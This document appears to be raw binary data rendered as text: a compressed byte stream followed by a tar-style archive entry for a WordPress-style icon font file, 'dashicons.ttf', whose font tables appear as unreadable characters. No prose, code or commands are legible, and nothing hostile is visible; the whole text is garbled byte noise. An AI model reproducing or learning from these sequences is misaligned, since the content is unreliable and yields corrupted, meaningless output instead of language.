&�w�:���U�K�y;�i�S�ҥ$GD�^���O7���"�{Y�������<�0:���\�uh#�A@K+�-9��!8_�s���M�ʱuC�֜o*l��E=a��'��x���&+�վ�{��gRz�zu�x��'[4�|�Z������Z��:=-�]�t���p��o�

�@§�L�c'��C�y""���q��xE���'�sQ9	�t�=Uu�I/|Ñ�-�����j�C�WV��^i��A\r6��*�B`Z��x�k>O�ypp�g���>$U����O��e�}$��"�OB��`��>QfZ�#���^�J�2b��O�H���m�2`5O���)�����`Z;8���jtm�T�����β��s�C4%��f�ۖ/����r���Y�#����_[IW����BD�G0	�nԉ#�r�\!�Q\�������V�"�T�8�L�&���1��/�ēH=~A����z@AT{
���Rk�]\[l����m���G����1J�HFr�@Ӻ�n!����'e���} �򏄿�!�^�
K�W��+a��	d�dB1�"��o%�"�7����.�8�j��di/��p��~��X�`Aͧ��V-ˮ��h�Q�kg�%흇?�<���ݙF�����G���
�9�g>nC{��p�nQ��*��
~d��_l��]�|��ep����,�.!�( f�9�,ۆ�|������5p�Pj�:��x�]�ב��R�����9ų�e���������u�����y���D'�)h��y'����Dg��҃����ǼJ
����E3�ٺ�c�Qs{��n��2fv?%K����[�
zř�s�
Ϗ�#S�p�M�?=�l_+�#�����I�Hf�͆�^p�z��6b�ñ>`��&AY4���Ra;�*�+��>�A45��
/n��\��.��Tp��l|��i�v�6��~��e���3�z,V{�(]�V�7U�7���FN	�UA�]F����3�%�θ�ݤ��"��\�zZ*,��)
1��_�]b�&1�D�jU�Sws�}u���+�r��K�V<3��d�]],���F�z)%�C���-E=a/���$v�Z�D��ø�
j6�99�(&�:'Z!u��n�����ii
n|�CFi��B�6S���\�$Jq}o~��ŝVsCc�zm�4-�nh�����C`'��Jd�R�x��WQ��2#l��<Et._���؜�
T�*��J䡄ݍ�h�9P����>��Xǥ�m
�
��JO���9,��/�eӟ�g�|���Q�S=���T��7x��(�'��,̗(a�+kIF���Q)?{��'GX|�N:R����U qGؕ�+a���U�\�y�yx�[�����

���O'��Q;xڤ�k;	�GL#r��mQ�gH�HX��'�-�ݕ\/�
��k����x>=<<'"o]EANΒeY���,���{T��F�[�F�Geg�sf��p�6'I�J�:�asx�p��ݸ
�0IJ3�Q��J�ŧJz��kNA�t��TN�s�H��;�Kڪ�`����.�v�C�Oɼ��h:잳�v��2��w�̽92p<�w`f�n�@�����,Y�����=��=[�vV+�Kxjf)���78�݊mI�5��\���OH4d��-��-��V9=d~Ҭt4-�i�g�M��������J�q����������wZw�z�#�7�-ֱk�Q��#0�u�e'��ڦ��+���	b��c���6���b�laI��9@����ļ�)\��p�ƹ�[0�m(VRC�KDc"�ׯ\X�Ec�D�p�!�5�f��3m}�"�hq�o
�9���SΓ `TRpW=c���{��`���>�r��/H�vM�A�d����j���kjg���9�@zRUK�xŝ-�3*0]F~�u{ZF��l�t��Ӛ[���6��}����M���<q�bSG����.���L��;��ݗ:c���7��.m0oK/&znnb7��0zzEz�x�j��i��mr��Us�V"�^+!?��/O?�k�gŝ����b����us/]�i<yrJ��L���v�.�}������]��6�k�;��50�'hx:����������5�&��
��Ȫ�U��f۴MZ�w��of)�d��o�n�6���8uZ䞬S���3S7R�Z5P��jZ�›J^���޽-((."��

;ΰ�b3�I�����U0���_m��v=wЕ�+�*��#��2)_�ҠJX��)((��Zg����YP��r̃����^��4|�����
W���h��5\�`�!����l֓La�,7�v(T���*��N <e��*�ʱ�� �p��@�l:�NĮ��5���ctM��r:m����Vxh.��&���%}ڧ8�h�W�f�[����g��_D@�����j��w)l�)��vA�2{�]��TVZ��+$�Q��C1M���쮞�m�M���B3�N
}�9�4�ܜrh��ŗ�8�<��Y���L4<-Y#Q����v�_�̉�x����d�7�R�F��Rd��a��rv,m�6J�(L���^8KSS�yR���0��wd�=���A,
��Li�&��;*bԱ���z��_ܘ1�~h�k����O�C��P���?���"�x��y�@t\C3�j>�N:��4����frp�j���D����%gfO�\�)~<l�7OV�|޻���?��ة9��qI���8���ͰJ1��Bs-��&6禸�9���/:(�X����8W�ݿ(> ��/�{]�+��M�>��{ɣ�P衾W��Ē>K0���Q�����(�^�'5Kkf�#b/����_``v�ң�B�n�m�Eq�o[Z�GTZ�j��ht*����h|���m3H���$���ݺN�R$f��7F2��<;��B�`�����Ac��ݮ�$F4�.��D��1��V�6��'{����1�IKmjJ]a.�H���}إ}��C�xǎ�
qne���4�ְ]��(��q��U�;�{?�(κ��k����P%��D��)���.H�v�\ȵc'�n�>���d�D�ic3g�U���:"�;��_n��� ��DzV�AV�-����.D����2���#��.�&'y���J�>�0�+`�I�%Aʤ�к�D�� t����Ft�^�r[��+��}C�P�,耦��+ �����$&	MO��pI_���� Fp(�o#i���
~`�:�~Y~����{����ڜ�?�_��zZ�La��
'7%P4:�7j��<K|s5�[�h�D�(M	*�����K{�x��`�H䌢82�'t�W�*���7��x�����_O�6s� )
)k=��CФxr�f��N�|Ɉ-���c_֜���Jv�����2���Κ<ш���$��Al������U��Sq�8����䆪��H.�	uDѧ|������0:�+�с��u@�x�O�����װ�7�)�}�ۣ����������M���{/K��	ڒ�R�Ǽ�[ю�+}�����9� }��[$N�V��ӔΊ�&�w�<�۽#8x��������5]�ߢ�z�MBFٓ�
S��3v�L͌O�(z���"(/~s�M�D�n
7�´��…q(,H󫗗]��M���79-eV�
�{��3t�?8L.�2�4H��
��x�Ө'T���7%�O^�b_����f�q���Q�ݤ8���l�ϩ�&��T��B�0�/5����?�~<�ȓ�,�׸�I3tZcJ����ȑC`��Pv25��;Ĝ֬T����ܴ��I��������]L
�}�}��eg#]:;CQ�dJ]�K�����9)�|��S�gc-�A4yYDzf���.JK���]7��6�}o�:��P�����(d|����˛�*wz�˖�4��O�6>
[�;�	ں��xr�'F�H�r��4�<�9�����Bcn?�,��́�����s��J���#%M����9E�s@��Ӹc[�g��{V��V!�HvԶ2rlj|�=�\]m�)�"���q�
4w:X�ܩ;�v��
�A�L:�c�P��G���-��5�aLݤ$�ʶ������%�����5!��	b5kZ���T.�_�z�W���zTkK@�E�_�"y�I-�2ho�]�L�$R!\s�����u�U%�
�����,��Ҽ����{�|:�
F9�4�k�"N*/
mu+9��$>"�#
��S����*����i������VVXX���8:��C�Jk�?rl�s�{$S�f�/g�Y�ˣ3WH�uX����}W-n��B9Б��<�7hM�˯��g�R�0�]O�'��u�w%�]i*6��Rs����E�oe��E�."	���݀�PPQL[7��P��s��[�z�!A�ذV��C�J�}�G�cxW,;��aKК(����`;=Q�(���C:*,9��WB�v�'�|9G�0��H��_����$�i���}o���͔���kz�߹������ۊ�[�loG���~&ö�b��l.������`�O���'��dZ�@
�Q �Ȩ������A�X��k@���Hl�(�����r�k����:c[��o��r�?�0��|8��'�m���q�]2�e��C-鮥����d���q��K�U�m�(���/ަ#R9vf�10kg'[·��m�H$�����q�]2w<o��#/A�u�A���㚇�1�ߏ�S���Z}JV:���4�	�2q⸚���ې>��s�Dl�Fg0Yl�ǟ�1!K�T�+�d����㏉T�Xmv�������?�b� ��a�ǚ� J��j�&Y1�Î�A�I��EY�M��8�˺��y�����#(�$E3,��$+���e;��a'i�eU7m���d^�m?��~��A�/�ِͰ�� J��j�aZ��z~Fq�fyQVu�v�0N�n�q^��~����,�ۣj��M�vD���r󟋐J�0��4ˋ�����0N�n�q^��~?
�#�(4���$2�J�3�0�aK�� �=^_���U�5%̦o�L���7��Ef����]	��a�|�Y�Z�m�d#%��ךi�"GWEd^{�)k����Q��J�f��V�n��,��o*,�ۡ
��2d<��-��)f�
単o���i����cn�])+��4���%w[��"���{���	�����wz�B��=s����32A���H�L����؛>�� ��W[��q1w�?�"aV&�#�ܟ��$h���v+�1��>����.p��6�*G�9��u��%}V���/��_�UPձb����i���VZ�p}oso���3s�{����ٵf��ʄs�*y��$j�M9��$�gYD)�j�|}ݵ�hɗW�Yb<}U��g������E0n��F
���~ɟ�M�X�3�E^�����Z�}lJ5p�Nu- �d,��-8��#�:�sj���i�4n��^ۆx��"��?P�FKY/^٤�:u����&$�k���x1^7��Š`�ר��*j���S?�|��}�ȋ��Q��S��
?�s��
��p#�g-b����.L��y>G�����:�D��M�a
C���3nd�!��PE��B?nF7gs��97{7��F0GVq8�Áp���k���-��<7~��.�B�'��R�-BMQ,A�Z)��_w�o��j�<���1+�v@`�O[�I�9Dʴ�Į��
�(P�/B�:㗅������g1�����V$�V#V�K�giGf��ډ�ES�@ۥ���1��RA�x\�򇚳淋�”�Hi-8x�����*���ͮv?���+3P� a�"��R�̰Sj��{����ʞ��d#>
%�7x\�#14n�0�J����t�C��*��r�q0(��0���k3�+����{E��]4��������u���q[��IB �)"��Q%2N1(4����U�)�;!P�'�h��B�<�jT�=������m��(�Գ�w������T�.��%�g����i"��y��;�O1���Pn�W�>[��<$��i+�Lc��]Qh!E1��\��[��,{�(�zF�R��Wi6Ƀ%P'����qP�ɴ_%���`TZ>0��/.,y}�(����7��9����
�B8HW}�|K��%���@¯��B������?(�	�u/�����#��y~u�9�S��

ɢ��)Yn:%e|
'��E��!#�A��i�c��$������m�2Vp2A�**�g�?�->�=�c�az*U�j��v�qg㖚D�ZI��2sˑ�a2���U8U*S��V8<K@��O鶓5	����X���M'A'��^Yg��C���j:������<��;��x�������٧MZ@pku9���(!��!J�P�%`�Nu�
b����J�J�eK);k�8��^�ߌ��ٳ�7K���Y/:+ʎRZ�5�nx����3�-�M6�2f�C��tl�-��G�Vg��(�L���k/n�b��Uw���i}�������vf�������=��X����%��B��5zD�;X=���o�H���6����)�C> �=�ئ����՝vG�_�*��d��	ɔ�ۓ�K�{��R�4�c�d�$�~�=�'���o���BDS��[�~��K�L���SN�6�/�qx�E~�t��ڊ�dashicons.ttf000064400000156110151024203310007231 0ustar00�0GSUB����8BOS/2@�O%|Vcmap_�>�$�glyfqd�E��@head�f��6hhea7H�$hmtx����Plocal�A�maxpo� name�+_��"post#2\��,.����
T���_<��6��6����
T�

�
,DFLTliga��fGf��PfEd@��G.����������,��,
��< ���	��)�9�@�B�	��)�9�I�I�W�Y�`�i�y���	��)�1�8�C�G������� �0�@�B��� �0�@�H�P�Y�`�b�p����� �0�3�@�E��<vx���������"""0BTfnt�����
�4��
>JKHILG�O.������KQ5��EF�\�GW*ZX]g��$'.-�J�R������
$%p��&'()
���������2M34H[i:	O�YEAjklmnr6 TRt������������"#7MSPy����wvx��~��������}����h�������BCDSQ98��L��/��0��q@P�1+N�5s�76����D�%&+,()"#��:<A@8;=B>?��?u���V*o-z{�9/,!U�<��3������{���������|;I��NC!bcd^_efa`2���=1���F�� �	0����V�������������������	�	
�
�
������
�
4������������
��>����J��K��H��I��L��G������������ � O�!�!.�"�"��#�#��$�$�%�%��&�&��'�'��(�(��)�)K�*�*Q�+�+5�,�,��-�-��.�.E�/�/F�0�0��1�1\�2�2��3�3G�4�4�5�5�6�6�7�7W�8�8�9�9*�:�:Z�;�;X�<�<]�=�=g�>�>��?�?��@�@$�A�A'�B�B.�C�C-�D�D��E�EJ�F�F��G�GR�H�H�I�I��J�J��K�K��L�L��M�M��N�N��O�O
�P�P�Q�Q$�R�R%�S�Sp�T�T�U�U�V�V�W�W�X�X��Y�Y��Z�Z&�[�['�\�\(�]�])�^�^
�_�_�`�`��a�a��b�b�c�c��d�d��e�e��f�f��g�g��h�h��i�i��j�j2�k�kM�l�l3�m�m4�n�nH�o�o[�p�pi�q�q:�r�r	�s�s�t�tO�u�u��v�vY�w�wE�x�xA�y�y�z�zj�{�{k�|�|l�}�}m�~�~n��r������6�� ��T��R��t����������������������������������������������"��#��7��M��S����P��y��������������w��v��x�	�	������~������������������������� � }�!�!��"�"��#�#�$�$��%�%��&�&h�'�'��(�(��)�)��0�0��1�1��2�2��3�3��4�4B�5�5C�6�6D�7�7�8�8S�9�9Q�@�@�B�B��9��8����������L�������	�	/����������0��������q��@��P��� � ��!�!1�"�"�#�#+�$�$N�%�%��&�&5�'�'s�(�(�)�)��0�07�1�16�2�2�3�3��4�4�5�5��6�6��7�7��8�8D�9�9��@�@%�A�A&�B�B+�C�C,�D�D(�E�E)�F�F"�G�G#�H�H��I�I��H�H:�I�I<�P�PA�Q�Q@�R�R8�S�S;�T�T=�U�UB�V�V>�W�W?�Y�Y�`�`��b�b��c�c?�d�du�e�e��f�f��g�g��h�h�i�iV�p�p�q�q*�r�ro�s�s-�t�tz�u�u{�v�v��w�w9�x�x/�y�y,��!��U�����<��������3����������������������{�������������������������������|��;��I�	�	������N��C��!����b��c��d��^��_� � e�!�!f�"�"a�#�#`�$�$2�%�%��&�&��'�'��(�(=�)�)1�0�0��1�1��3�3��4�4F�5�5��6�6��7�7 �8�8��@�@�A�A	�B�B0�C�C��E�E��F�F��G�G�Pp��0T�N���n�R��@�">Rx��������	
		.	@	L	`	p	|	�	�	�	�


V
�
�j���d

�@�f�f�l��p�,��&H� `v��0P�<n�Bt����6Nfv�B�"��b�,d���&Rx���8f��  P t � �!
!B!�"L"�"�"�#D#�#�#�$j$�%%,%j%�%�&h&�&�''>'~'�'�(P(�(�(�)).)b)�)�)�*D*l*�*�+B+�+�,>,z,�--2-�-�-�.p.�.�.�/L/�/�0L0�0�1141\1�1�1�2B2�2�2�33Z3�3�4`4�4�4�55N5�5�6"6d6�6�7$7H7^7�7�8:8r8�9969P9j9�9�9�9�:n:�;;~;�<<<2<�<�=N=�> >�>�?(?f?�?�?�@@r@�AA@A�A�BBDB�B�CCZC�C�C�C�D4D�D�E
EDE�E�E�FFTFfF�G(GPGhG�G�H H@HpH�H�I&IZI�I�I�JJNJ�J�J�KK8K�L�L�M@MtM�M�NN4N�N�O OZO�O�PPBPdP�P�Q
Q.Q`Q�Q�RRRvR�SbS�T2TXTjT���
/%'767'7676?676227s�&
9
"��.
	
#!	
�&
��.
	 $
	��2".4>57\66\n\67\i��6\n\66\m]6���b��32+5#"&=46��3�3������� 3656'&'&"17>767676676767676�$,$/3#�T	,	-(�		#
0%,$��	

	"#��'0%#'#5&''7&'#5367'7675373264&"�8(6(M(6(77(6'M(6'8� --@--�'6(77(6(L(6(88'6(s-@--@-��	''753!55#�'���f4�����f&'���f3(�������"8'764&"&6?>764&67.6?>2�'9j .j'99Չ�j'89+(8j!-�99'j. j9'�ډ�3j9'+99'j.!��*6%54&+'##"3!26'2"&463"&46325#53"&4632M+"f"+

�%%5&&̀%5&&Mf3%5&&�
33
�
�&5%%5&'��%%5&��Y%%5&	� %)-''7'575#''7''7%#5%#55#!5#mmm��geffL4mm���mm����f�ff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333��'#'7&67>264&"�N$0M&M�
BB'�BA
U_3�%Qz��	7!3!3����3�M��3M��#'767+"&4?547676PS0S��
d   	�SS�S0S4�
	   c"ZSS��!7&'&7676?'76?>/�/1
.>H

H>/1�.�/
1.>H

	G>/
1��+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5���

M�

�

f4

��
�&&�Y&&��3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667�>j>>j}j>>j�	,		
%!		5/�	! 
I�	>j}j>>j}j>� 3
	

9!
��
		6*	$,'Bl	
�(0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>�>j>>j}j>>j	

	'
W	F2"


# Ob0>j}j>>j}j>��	

�	

		$	%	.;5�#(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673�>j>>j}j>>j��A7�&	]#G&]	&A7]R	[&iF&\	&A8	8&.0 �-  -1�
- 0>j}j>>j}j>�#"!�P%
#"#ErP
%cE#"E$!"FE"CO%
ON
%rE#"E$!""$""!$g$+A$+��#,B#*�:H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'�>j>>j}j>>jh	=.fA


3O"
6
>j}j>>j}j>��L,"
#	
)>O
P#.&Z+	

��'"&4?&>7264&"�F �6&�

2AJHJ
���&5� E2JIJ@���)"'&'&/&76272"'&/54>3
	M	F6 #"0S0""5
&  &
B/"6@		@5!��;&'764'&'764&"'&'7'7>/764&"'764&"'7676�Y>
.


 �:Z
P.@�

a�
b


�>.P
Z:�"



1
=W�';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2���X
7-S
R3
(!
	A	6-
	3Tl41C
��f�
	`

7	
a	



7	 ��!5!5!!5!Mf��3�3f���3���f3��%!!5!���3���f3��!5!5#%35#35#!5!Mf����MMMM��f���3���g3�3�3��!5!5!!5!Mf���f���3���f3��7#735#35#�͙���f4�̴3�3��%#'#3#3��4����f4���343��!5!35#5##35#!5!Mf��MMf�MMf���3�3���3�3��!5!5!!5!��3��3��3���f3��"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54�ISo\*h8-U%+'
�(
"#%,
*+(Z	

�6%'#

%4
	
M#

'#|
+��!%%!!5!3"&46527#53#53#53!5!�fg��4�M-@--:�gggggg��43��fMMM --@-33g4gg��!5!!%5#�4��f��44M����37'7�4f3��3f��f��f�g7'���3��f�����4'�gf3����!'7��f��f4f3��3fg�'7f�������3��Mg%'7M���ge��75!'7'733f��f�4f3��3fg�?'7��������3��gg͙�fge��%#'7'4f3��3f33f��f�g%''7���3��������M?�gf����M3g�M���!-767676&'&7>76>76'&�
/2o\	<%&@%)	$(�
	A6:3:51*3/S���!'-7?'7/'"&462'"&462'73%7'#r4;;43 ;; [*<<T<;+ --@--B!5A$@�� 6@$@|;;44;; 33�<U;<T<-@--@-9�9�9
�9��*'.'7>.'>&5717'7&]2:3\m1$2
*	(%TF'-KTF0
.\m>Ms�\mc::$2-KTF'-&O�2:�{{R6��!53'33'33'!5!�f��@3@3@��f���g3�������3��(5BOk&'&'&'&''&"2?&'&%762'&4&4?62&4?62"7"&4?627&#6.&'&"33264a!
%
@

n
%���3
Jn	n
*n	n�n
nm
(	$
$$@
%%
o

�94
Ps
q
n*
n
nFqom
*	
&
%��!%265#754&'>7."!5.f{*""+33�;#7
	7%8'
@@&��5##5##"!54&#�MfMff4444����7!!"&5463!!"74&"26�M�� -- M��>M3-4-��Y����3!"&546;#"3!�3�� -- ����g-4-����9B354636332+"&=#"&=#"&="'"&=#546;5264&"�3/

3

- 3�
�3/M*�

84

44

48

g -����	$5Bu7656&6&#"3276"2>4."&'.'&4>276&#"3>"767216327>&#"4?672632#"'&'32>4.s]
-7_77_n_77_7(G4XhX44X-
[&E
!8#,-2/N//Na*7%#}
� ,+7_n_77_n_7�s5hX44XhX4} ,$	 
v>{+" ,
/N^N/&3<L_2".4>"2>4.2".4>">54&"264&34'&'&'!6'&'&'&'FuEEu�uEEuFBpAAp�pAApB;d;;dvd;;di'!,\,,>,,N
 	666%
Eu�uEEu�uE
Ap�pAAp�pA;dvd;;dvd;,1 (,,>,,>,�

655$��)Ok4'2674'2654&"26754&"264&'"&=#"&=276767>27>76767".=�
g
ggf1(  (1*"*(�*	!
0RbR0 	�


�Y
Y
Y
Y/?LL?/8
		
-o
M//M		��#/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z�))��4

��
$�>�


M  ML��-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?�
-�
-�
33
�3

3�33�33�33�33l���

��

��333343��/'#'&'&6765.>27&'>7656�"	3DC6	#)3-,>-
.5	)`J#��#K	!?
a�;D;##;D;�b@!��
2!767676'7'7''70S* �f$&�__:�3_X
���@  ����KG
!n
tGIhj��NW`n{��%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"�-?			
	?-#!&	4	'
""�	W
ED	L	LYLL�@-
&%
-@

/:":*



*:":/d3�@
;3��-=&"2?>&"2?64"/"&4?624'&/;2 � �=� �k k. � ��		"��� =� � �k k. ����)"'&'7.'76767&327'267'#"'t+&T&+s9&?3
/1v3(#&@@&'R�$$�K$1J~,.�-�#'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mf��f33g44f33�33g44f33�33g44f33�33g44f33f��f3333M33333�44444�33333�33333�33�3��%.%54'&'&'&#'57'"32767"2>&�
)+
	!/2F>�$'%4%'O@ ,!MM!,	
@{:N00P8��''';676?4'&'&'7'"2>&R88/+''+�))))$'%4%'M$$M%>>%))�:N00P8��GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7�\\: ".))." ��%
%
j
g;;;�6^\89HH6E!
''
,����!"3!26=4&#!"&=463!2���f��f�����
��!*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!���




M




n!
����f��\W�\W�
Z
8WW
��+/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53�M�fMf��f��f3f44g3�3f44g3�3�44f33����@@@@�z��4444433333333333��+/37;3!3546235462#26=4&"26=4&"5!75#35#35#�M�fM f ��f��f3�4�3���g@@@@������������32#!"&546;73264&"�K�jKMf3*<<T<<���.3��<U<<U<��	5###72"&46�M��3��--?--�33�4��-@--@-��,3<%264&"7#.#";4623462326=4&!>"264&@  \).@"'8
%2$R$2%
��	B#!�� d"36&!%%%%#$
 M��O7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM


	

$#


!+$	$,(
'%("35 !
  
9				 -	-(
'H;A��"+732#!"&5#"&46;2!#2"&4632"&46���3

MLf�
 � �3�g    ��	!!3#3�M�f�4�M�M4���&/8%>54&"&"'654&"2"&462"&462"&46�
*
j
 6*
L����
3;�
'		
���M��%####5#�g3f3g3��f������ 1!7&54626327&546327"&='#"'�
�~l %\
1U )R����	
����	
���52'3".4>1R0ʹ1RaS00S�0R1��0S00SaR1�-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71#$���~
	S�����������$ $���B	

�~������$2".4>2>4."7/18^77^p^77^8*F**FTF**FsM�7^p^77^p^7��*FTF**FTF*�6R{{�� 654&#"&#"3!264&'77{<*1&#,5$%5/�R$.a$
*= %
2"$66F4�Q$.b$��!654&#"&#";5#7#3264&{<*1&#,5$ZMssLY%5/
*= %
2"$6MssM6F4��4654&#"&#"3!264&}<*1

&#,5$%5-*=%
2"$66G3��$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&�
	


..$'S d,

��+<<U<<

			

		




i%+(D
K%($
	
a<U<<U<{
		
	

�� 73!265%;26=!"3'46;#"&f�����'55'+�a�3T2\]��*&"'&"2?64/76467>76?'�5/�.��	
,�\�.�/5�,
	�\��73#3#M��͙�����%7'3���]]��]]��55����]]4]]��733#�MfMMf4��4����
�������5!5557!'7�3gg3��ggMM&�3ML3�M&�3ML3��7''#373���33�=\��\\{{3{{��7553#5͚��33��]4]]{{��{{�37'#3g��gMf��f��&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33g��gE

	 

'				Mf��f�
#^#

	#6'	

�(		*	
��8<!2#!&546!%47676763#!"&=27676762!!8�
�p���	�
$�4�����
)���g

�g

	�3��
(09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7�[
�V*g>
ufB#8^77^8#B4�u�+7M��0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<<U<<3333341R0W\1R00RbR00R.1R00RbR0!,
\A[0R<U<<U<�3333335
�M

MlM

3
)M��
.:CJ467#"".52>=7#".52>=#"'3.'.53264&"7##5#�1R0W\1R00RbR00R.1R00RbR0!,
\A[0R�+<<U<<*M333f5
�M

MlM

3
)M<U<<U<�MLL��
.:CJ467#"#".52>=#"".52>='3.'.53264&"7533'�1R0W�.1R00RbR0!,
\1R00RbR00R1A[0R�+<<U<<33MLf5
~M

3fM

M�
)M<U<<U<fMMLL��*6G264&"7#5467#"#".52>=#"'3.'.5".52>=f+<<U<<w�41R0W�.1R00RbR0!,
\A[0R11R00RbR00R<U<<U<�335
~M

3
)M�M

M��
.:CI467#"#".52>=#"".52>='3.'.53264&"'7'�1R0W�.1R00RbR0!,
\1R00RbR00R1A[0R�+<<U<<+J\=f5
~M

3fM

M�
)M<U<<U<q,J\>��.?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00Rf�M

MfM

MgMM��!$!2+32!546;5#"&5465!73Mf�3�3�X������
4

4
紴�f��2".4>'7''78^77^p^77^�MM3MM3MM3MM�7^p^77^p^7��MM3MM3MM3MM��35!353'35g3��4�M��M���͚4������0&'.767676?>327&67626&� JA)7*
�!@$7
@		3��77/7676�!�"!�$�T
��$�!�!�"!�$+T
�$��	��#!5#'.#3576&?f3�d!	��g�@q)���3C!�͚f	�@q)��
?677'dE	͏�=��g���E	���P�������5#5!5#5!f�������33f33g33f33��5#5!5#5!3�f����f���33f33g33f33��5#5!5#5!���f���33f33g33f33��32654&'5>54&#532#32+�t5=;C#')8+���3-!&',)�J'8*��3!'73�3�怀���MgfM��'77'7�ff��Mff��fff4���ff4����7'7#7!75#35'!'3�:: f `�f` f :: f `�` fS`��` g 99 g `f` g 99 g��$235#67654&"#35&'&'&54613*�^%U�T%]�3v751#33"'/DOPC/'!33!157��	3#3'735'75!#7'����g8aga8";a��ga;3ffa9Gf9aG!_9ff9_��%.4."2>'#5467>4&#"'632&462"�0RbR00RbR0�(
!%%&1R00RbR00R

!	O
��"53753355#%53535335353M�ff3ff3�泳��f�M�33M3ZY3333M44L33M33��5!5#35#35#5!���MM�f�MM��Mffg444444�ff��#3#737#73z6H6�6H6�f�33�4��!!!!!!!!3��f��f��f��f�3334333��#'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#5�4��fM3�3�4�3�3f�4��fM3�3�4̀�3�3͚��ffM4444444444���ͳ��33333333L444444��!$#";2654622653264&7M� 55 
	��5?5�

3

��

Mg�f��#S\`dh6235#767654'&/&""#6&#676514'&#"632632+32#"'"'26542735#35#35#35#�)H,
1




'3!
��������)


�

#Of
'����(,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#�!
I�� ,

f��!






!��Mf
	
E3�2K


��"5#5##553%5#5#5##5#5#�ff�3ff3泳��f�M�3333ZY3333M44L33M33��!#";2654622653264&�� 55 
�5@5�3
��M��$,!57264&"732#!"&546;!55#335=C�D<�'��'44�L4�MMM��3<<�44����$1!57264&"4&+!57#"3!26'#'#'3737=C�D<�'��'fM335134�MMM��3<=��ش���������'74'&'&&67'32674'&'&&67'326�-##;#)2%!+�-##;#)1& +�F24;C/7'!F24;C/7'��$"/&=4?62764/&"2n�-9�-��7�7�6�86���7�7��!$#";2654622653264&5M� 55 
	��5?5�

3

��

M�f���/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''�		
	-"$!	�9:;67
 n,d����f�
$&)8���+o�
@+
($
����M�NAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264�
!7$:".-	!	 .		
	KK	��p
k,�1�@@++@@@@	
	

U*
D+��%!!5!#53#53#53#53�fg��4������������Mf��3�444�333��
%3#373'#7S0i4f0kR&���M'}��"&"&46273#"&46273#"&46273#� 0��@ 0��@ 0��M  3�  3�  3g�#"'&=#27655#f3$63y���%'#��- ''-�33��!58;>'?64&"'6?>'3''7.6?27'#'7'�'6+' .='99��͚4f3��ͽ#89+$<'!-͚4f3����99'*'. ?7'A����gf3�<$+98#(-!����gf3��#'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5�M�MM�M����������f��33��33�4"&462%"264&#"264&�**3*�******��-%54&#!"3!26'"/'"'&?'.7676���g!hd	p67p	dh������`h_11_h`
����7%>=4&'&7>7>���4��
��
�{.�z.�K�s:�	��!2#!"=47>.'&cS00��0ڬ��
�.�..�.ݎcc��#)!"3!26=4&#"&463253'757'5���f�M*ff&&LL&&M���Mg+n�&'&MM�&'&'M��!"3!26=4&'757'5���fb&&LL&&M����&'&MM�&'&'M��$-!"3!26=4&#53'757'5'5'7264&"���fȳ�f&&LL&&M�.4���͙s&'&MM�&'&'M@&.>��-39!"3!26=4&'&76?'76?>'7&'757'5���f�
!!
	M�&&LL&&M����	"
"		J0&'&MM�&'&'M��#!"3!26=4&'#537'757'5���f�3��3f&&LL&&M����$1�."g&'&MM�&'&'M��%)%4&#!"3!262"&46!!52"&46!!5�
�f

�
��W��4W��3�

�f
��������3#35#7'7'M33ff�n$��$n�3�3f�4n$��$n��3'5'7#57!3#��3�$�h33���4f��O�$��M3�3�o�73537#5476;5&#"#3�K>
H	& *3??3�I.
A3-6I��$!2+537#546;5&#"#3#"&546Jl


h5=
 %+55�	�
��

�>'8+'->�
l

��#!2#!"&5465!735335353353�

�f
���M��M����f�����MMfMM��576762'./5M!!.T.!!�!�33����7#7567'&'&'&�3M#.1+#+51&3�����	���$0C"#54&"#54&"26=>=4&3265""26=>'4&�- -�%&�	@@	@@	T��T	
���,2#(��(#2��!!!5!55#7#̙��L4��4��̀��͙�g�f���%6"&46325#"&4632546�
4J55%�3"%44%�3��%55J4	�3� ,4J5	�

��&#"5#"&=46;232+'#"&=46#M3��3Mf$/MM�f�LL���&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+�2��2K����  3
�


�����2K��@ c

͚





����>!2#!"&546!4&"2647676763#!"&=2176767632:��t����**M	� 
 ��t��gf��+k"��3


��)74'&'&&67'32674'&'&&67'326�
5)*+#&
;+'2�
5)),"&
:+'2�!%R:"&-2lA-'!%R:"&-2lA-��'092"'&476264&"3264&"3264&"2"&462"&46}9009�9009
 � � � =
�0)�)00)�)0�      �  3��	
 !2%46373#37#37#3!73�
�4q43M3�3�3M������
�f�
MMMMMMM����gf��
#&),/3#7357#53%'7'35#!#53#57#7'533����&M̀��&�''@'M3������&'M''Z&@&Mͳ���@&���@'MM'&
'������''g'&&'M@&��
#77'77535''3'7��.E'H�.H'E.s'E+�.�E.�.H̀.H'E..E'E+��'E.�.HE+�.E��
